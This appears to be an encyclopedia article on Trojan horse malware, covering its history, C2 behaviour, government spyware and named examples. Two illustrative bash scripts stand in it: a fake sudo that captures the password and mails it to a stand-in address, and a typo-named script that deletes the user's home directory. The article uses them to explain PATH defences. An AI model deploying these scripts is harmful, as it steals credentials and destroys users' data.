Trojan horse (computing)

Short description: Type of malware

This article is part of a series on

Computer hacking
History

* Phreaking
* Cryptovirology
* Hacking of consumer electronics
* List of hackers

Hacker culture & ethic

* Hacker Manifesto
* Black hat
* Grey hat
* White hat
* Hackerspace
* Hackathon
* Hacktivism
* Maker culture

Conferences

* Black Hat Briefings
* Chaos Communication Congress
* DEF CON
* Hackers on Planet Earth

Computer crime

* Crimeware
* List of computer criminals
* Script kiddie

Hacking tools

* Forensics OS
* Vulnerability
* Exploit
* Payload
* Social engineering

Practice sites

* HackThisSite
* Zone-H

Malware

* Rootkit
* Backdoor
* Trojan horse
* Virus
* Worm
* Spyware
* Ransomware
* Logic bomb
* Botnet
* Keystroke logging
* HIDS
* Web shell

Computer security

* Application security
* Network security

Groups

* Anonymous
* Chaos Computer Club
* Homebrew Computer Club (defunct)
* Legion of Doom (defunct)
* Masters of Deception (defunct)
* Red and Blue Teams

Publications

* 2600: The Hacker Quarterly
* Hacker News
* Nuts and Volts
* Phrack

* v
* t
* e

In computing, a Trojan horse is any malware that misleads users of its true intent by disguising itself as a standard program. The term is derived from the Ancient Greece story of the deceptive Trojan Horse that led to the fall of the city of Troy.[1]

Trojans are generally spread by some form of social engineering. For example, where a user is duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or by clicking on a fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected computer.[2] Ransomware attacks are often carried out using a Trojan.

Unlike computer viruses and worms, Trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.[3]

## Contents

* 1 Use of the term
* 2 Behavior
* 3 Linux sudo example
* 4 Linux ls example
* 5 Notable examples
* 5.1 Private and governmental
* 5.2 Publicly available
* 5.3 Detected by security researchers
* 6 Capitalization
* 7 See also
* 8 References
* 9 Notes
* 10 External links

## Use of the term

It's not clear where or when the concept, and this term for it, was first used, but by 1971 the first Unix manual assumed its readers knew both:[4]

> Also, one may not change the owner of a file with the set—user—ID bit on, otherwise one could create Trojan Horses able to misuse other’s files.

Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.[5]

It was made popular by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust",[6] subtitled: To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software. He mentioned that he knew about the possible existence of Trojans from a report on the security of Multics.[7][8]

## Behavior

Once installed, Trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual Trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the Trojan, using it as a proxy for malicious action.[9]

In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically a Trojan software used to intercept communications from the target computer. Some countries like Switzerland and Germany have a legal framework governing the use of such software.[10][11] Examples of govware Trojans include the Swiss MiniPanzer and MegaPanzer[12] and the German "state Trojan" nicknamed R2D2.[10] German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.[13]

Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, Trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them.[14] BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a Trojan infection.[15]

Recent investigations have revealed that the Trojan horse method has been used as an attack on cloud computing systems. A Trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.[16]

## Linux sudo example

A Trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security.[17] A simple example is the following malicious version of the Linux sudo command. An attacker would place this script in a publicly writable directory (e.g., `/tmp`). If an administrator happens to be in this directory and executes `sudo`, then the Trojan may execute, compromising the administrator's password.

#!/usr/bin/env bash

# Turn off the character echo to the screen. sudo does this to prevent the user's password from appearing on screen when they type it in.
stty -echo

# Prompt user for password and then read input. To disguise the nature of this malicious version, do this 3 times to imitate the behavior of sudo when a user enters the wrong password.
prompt_count=1
while [ $prompt_count -le 3 ]; do
echo -n "[sudo] password for $(whoami): "
read password_input
echo
sleep 3  # sudo will pause between repeated prompts
prompt_count=$(( prompt_count + 1 ))
done

# Turn the character echo back on.
stty echo

echo $password_input | mail -s "$(whoami)'s password" outside@creep.com

# Display sudo's actual error message and then delete self.
echo "sudo: 3 incorrect password attempts"
rm $0

exit 1  # sudo returns 1 with a failed password attempt

To prevent a `sudo` Trojan horse, set the `.` entry in the `PATH` environment variable to be located at the tail end.[18] For example: `PATH=/usr/local/bin:/usr/bin:.`.

## Linux ls example

Having `.` somewhere in the PATH is convenient, but there is a catch.[19] Another example is the following malicious version of the Linux ls command. However, the filename is not `ls`; instead, it is `sl`. An attacker would place this script in a publicly writable directory (e.g., `/tmp`).

#!/usr/bin/env bash

# Remove the user's home directory, then remove self.
rm -fr ~ 2>/dev/null
rm $0

To prevent a malicious programmer from anticipating this common typing mistake:

1. omit `.` in the PATH or
2. `alias sl=ls` [lower-alpha 1]

## Notable examples

### Private and governmental

* ANOM \- FBI
* 0zapftis / r2d2 StaatsTrojaner – DigiTask
* DarkComet – CIA / NSA
* FinFisher – Lench IT solutions / Gamma International
* DaVinci / Galileo RCS – HackingTeam
* Magic Lantern – FBI
* SUNBURST – SVR/Cozy Bear (suspected)
* TAO QUANTUM/FOXACID – NSA
* WARRIOR PRIDE – GCHQ

### Publicly available

* EGABTR – late 1980s
* Netbus – 1998 (published)[20]
* Sub7 by Mobman – 1999 (published)
* Back Orifice – 1998 (published)
* Y3K by Tselentis brothers – 2000 (published)
* Beast – 2002 (published)
* Bifrost Trojan – 2004 (published)
* DarkComet – 2008-2012 (published)
* Blackhole exploit kit – 2012 (published)
* Gh0st RAT – 2009 (published)
* MegaPanzer BundesTrojaner – 2009 (published)[21][22]
* MEMZ by Leurak – 2016 (published)

### Detected by security researchers

* Twelve Tricks – 1990
* Clickbot.A – 2006 (discovered)
* Zeus – 2007 (discovered)
* Flashback Trojan – 2011 (discovered)
* ZeroAccess – 2011 (discovered)
* Koobface – 2008 (discovered)
* Vundo – 2009 (discovered)
* Coreflood – 2010 (discovered)
* Tiny Banker Trojan – 2012 (discovered)
* SOVA - 2022 (discovered)[23]
* Shedun Android malware – 2015 (discovered)[24][25][26][27][28][29]

## Capitalization

The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized. However, while style guides and dictionaries differ, many suggest a lower case "trojan" for normal use.[30][31]

## See also

* Computer security
* Cuckoo's egg (metaphor)
* Cyber spying
* Dancing pigs
* Exploit (computer security)
* Industrial espionage
* Phishing
* Principle of least privilege
* Privacy-invasive software
* Remote administration
* Remote administration software
* Reverse connection
* Rogue security software
* Scammers
* Technical support scam
* Timeline of computer viruses and worms
* Zombie (computer science)

## References

1. ↑ "Trojan Horse Definition". http://www.techterms.com/definition/trojanhorse. "Greek soldiers, unable to penetrate the defenses of the city of Troy during a years-long war, presented the city with a peace offering of a large wooden horse."
2. ↑ "Difference between viruses, worms, and trojans". Broadcom Inc.. https://knowledge.broadcom.com/external/article?legacyId=tech98539.
3. ↑ "VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00 (Question B3: What is a Trojan Horse?)". October 9, 1995. http://faqs.cs.uu.nl/na-dir/computer-virus/faq.html.
4. ↑ Thompson, Ken; Ritchie, Dennis M.. "Unix Programmer's Manual, November 3, 1971". https://www.bell-labs.com/usr/dmr/www/man21.pdf.
5. ↑ Karger, P.A.; Schell, R.R., "Multics Security Evaluation: Vulnerability Analysis , ESD-TR-74-193", HQ Electronic Systems Division: Hanscom AFB, MA II, http://csrc.nist.gov/publications/history/karg74.pdf, retrieved December 24, 2017
6. ↑ Ken Thompson (1984). "Reflection on Trusting Trust". Commun. ACM 27 (8): 761–763. doi:10.1145/358198.358210. https://dl.acm.org/ft_gateway.cfm?id=1283940&type=pdf. .
7. ↑ Paul A. Karger; Roger R. Schell (2002), "Thirty Years Later: Lessons from the Multics Security Evaluation", ACSAC: 119–126, https://www.acsac.org/2002/papers/classic-multics.pdf
8. ↑ Karger et Schell wrote that Thompson added this reference in a later version of his Turing conference: Ken Thompson (November 1989), "On Trusting Trust.", Unix Review 7 (11): 70–74
9. ↑ Crapanzano, Jamie (2003). ﻿Deconstructing SubSeven, the Trojan Horse of Choice﻿ (Report). SANS Institute. http://www.sans.org/reading_room/whitepapers/malicious/deconstructing_subseven_the_trojan_horse_of_choice_953. Retrieved 2021-05-10.
10. ↑ 10.0 10.1 Basil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428
11. ↑ "Häufig gestellte Fragen (Frequently Asked Questions)". Federal Department of Justice and Police. http://www.ejpd.admin.ch/content/ejpd/de/home/themen/sicherheit/ueberwachung_des_post-/faq_vuepf.faq_3.html.
12. ↑ Dunn, John (27 August 2009). "Swiss coder publicises government spy Trojan". http://news.techworld.com/security/3200593/swiss-coder-publicises-government-spy-trojan/.
13. ↑ "German federal police use trojan virus to evade phone encryption". http://www.dw.com/en/german-federal-police-use-trojan-virus-to-evade-phone-encryption/a-42328466.
14. ↑ "BitDefender Malware and Spam Survey finds E-Threats Adapting to Online Behavioral Trends". http://news.bitdefender.com/NW1094-en--BitDefender-Malware-and-Spam-Survey-finds-E-Threats-Adapting-to-Online-Behavioral-Trends.html.
15. ↑ Datta, Ganesh (2014-08-07). "What are Trojans?". SecurAid. http://securaid.com/windows/2014/08/what-are-trojans/.
16. ↑ Kanaker, Hasan; Karim, Nader Abdel; Awwad, Samer A. B.; Ismail, Nurul H. A.; Zraqou, Jamal; Ali, Abdulla M. F. Al (2022-12-20). "Trojan Horse Infection Detection in Cloud Based Environment Using Machine Learning" (in en). International Journal of Interactive Mobile Technologies (IJIM) 16 (24): 81–106. doi:10.3991/ijim.v16i24.35763. ISSN 1865-7923. https://online-journals.org/index.php/i-jim/article/view/35763.
17. ↑ Wood, Patrick H.; Kochan, Stephen G. (1985). UNIX System Security. Hayden Books. p. 42. ISBN 0-8104-6267-2.
18. ↑ Wood, Patrick H.; Kochan, Stephen G. (1985). UNIX System Security. Hayden Books. p. 43. ISBN 0-8104-6267-2. "The above Trojan horse works only if a user's PATH is set to search the current directory for commands before searching the system's directories."
19. ↑ "What's wrong with having '.' in your $PATH?". Penn Engineering. https://cets.seas.upenn.edu/answers/dot-path.html. "[I]f you're a clumsy typist and some day type "sl -l" instead of "ls -l", you run the risk of running "./sl", if there is one. Some "clever" programmer could anticipate common typing mistakes and leave programs by those names scattered throughout public directories. Beware."
20. ↑ Seth, Kulakow (1998). ﻿"Is it still a Trojan horse or an Actual Valid Remote Control Administration Tool?"﻿ (Report). SANS Institute. https://www.sans.org/reading-room/whitepapers/malicious/netbus-21-trojan-horse-actual-valid-remote-control-administration-tool-103. Retrieved 2021-05-10.
21. ↑ "Mega-Panzer". September 21, 2016. https://sourceforge.net/projects/mega-panzer/.
22. ↑ "Mini-Panzer". September 18, 2016. https://sourceforge.net/projects/mini-panzer/.
23. ↑ "What is Sova virus?". https://www.indiatoday.in/amp/information/story/what-is-sova-virus-2001017-2022-09-16.
24. ↑ "Trojanized adware family abuses accessibility service to install whatever apps it wants – Lookout Blog". https://blog.lookout.com/blog/2015/11/19/shedun-trojanized-adware/.
25. ↑ Neal, Dave (2015-11-20). "Shedun trojan adware is hitting the Android Accessibility Service". Incisive Business Media. http://www.theinquirer.net/inquirer/news/2435721/shedun-trojan-adware-is-hitting-the-android-accessibility-service.
26. ↑ "Lookout discovers new trojanized adware; 20K popular apps caught in the crossfire – Lookout Blog". https://blog.lookout.com/blog/2015/11/04/trojanized-adware/.
27. ↑ "Shuanet, ShiftyBug and Shedun malware could auto-root your Android". November 5, 2015. https://betanews.com/2015/11/05/shuanet-shiftybug-and-shedun-malware-could-auto-root-your-android/.
28. ↑ Times, Tech (November 9, 2015). "New Family of Android Malware Virtually Impossible To Remove: Say Hello To Shedun, Shuanet And ShiftyBug". http://www.techtimes.com/articles/104373/20151109/new-family-of-android-malware-virtually-impossible-to-remove-say-hello-to-shedun-shuanet-and-shiftybug.htm.
29. ↑ "Android adware can install itself even when users explicitly reject it". 2015-11-19. https://arstechnica.com/security/2015/11/android-adware-can-install-itself-even-when-users-explicitly-reject-it/.
30. ↑ "trojan". https://www.collinsdictionary.com/dictionary/english/trojan.
31. ↑ "trojan horse". Microsoft. https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/t/trojan-horse-trojan.

## Notes

1. ↑ Place the `alias` statement in /etc/profile

## External links

* "CERT Advisory CA-1999-02 Trojan Horses". https://resources.sei.cmu.edu/asset_files/WhitePaper/1999_019_001_496184.pdf#page=14.

* v
* t
* e

Malware topics

Infectious malware|

* Comparison of computer viruses
* Computer virus
* Computer worm
* List of computer worms
* Timeline of computer viruses and worms

Concealment|

* Backdoor
* Clickjacking
* Man-in-the-browser
* Man-in-the-middle
* Man-in-the-mobile
* Rootkit
* Trojan horse
* Zombie computer

Malware for profit|

* Adware
* Botnet
* Crimeware
* Form grabbing
* Fraudulent dialer
* Malbot
* Keystroke logging
* Privacy-invasive software
* Ransomware
* Rogue security software
* Scareware
* Spyware
* Web threats

By operating system|

* Android malware
* Classic Mac OS viruses
* iOS malware
* Linux malware
* MacOS malware
* Macro virus
* Mobile malware
* Palm OS viruses

Protection|

* Anti-keylogger
* Antivirus software
* Browser security
* Data loss prevention software
* Defensive computing
* Firewall
* Internet security
* Intrusion detection system
* Mobile security
* Network security

Countermeasures|

* Computer and network surveillance
* Honeypot
* Bot Roast

This article is part of a series on

Information security
Related security categories

* Internet security
* Automotive security
* Cyberwarfare
* Computer security
* Mobile security
* Network security

Threats

* Advanced persistent threat
* Computer crime
* Vulnerabilities
* Eavesdropping
* Malware
* Spyware
* Ransomware
* Trojans
* Viruses
* Worms
* Rootkits
* Bootkits
* Keyloggers
* Screen scrapers
* Exploits
* Backdoors
* Logic bombs
* Payloads
* Denial of service
* Web shells
* Web application security
* Phishing

Defenses

* Computer access control
* Application security
* Antivirus software
* Secure coding
* Secure by default
* Secure by design
* Secure operating systems
* Authentication
* Multi-factor authentication
* Authorization
* Data-centric security
* Encryption
* Firewall
* Intrusion detection system
* Mobile secure gateway
* Runtime application self-protection (RASP)

* v
* t
* e

0.00

(0 votes)

Original source: https://en.wikipedia.org/wiki/Trojan horse (computing). Read more

|

Retrieved from "https://handwiki.org/wiki/index.php?title=Trojan_horse_(computing)&oldid=292021"
*[v]: View this template
*[t]: Discuss this template
*[e]: Edit this template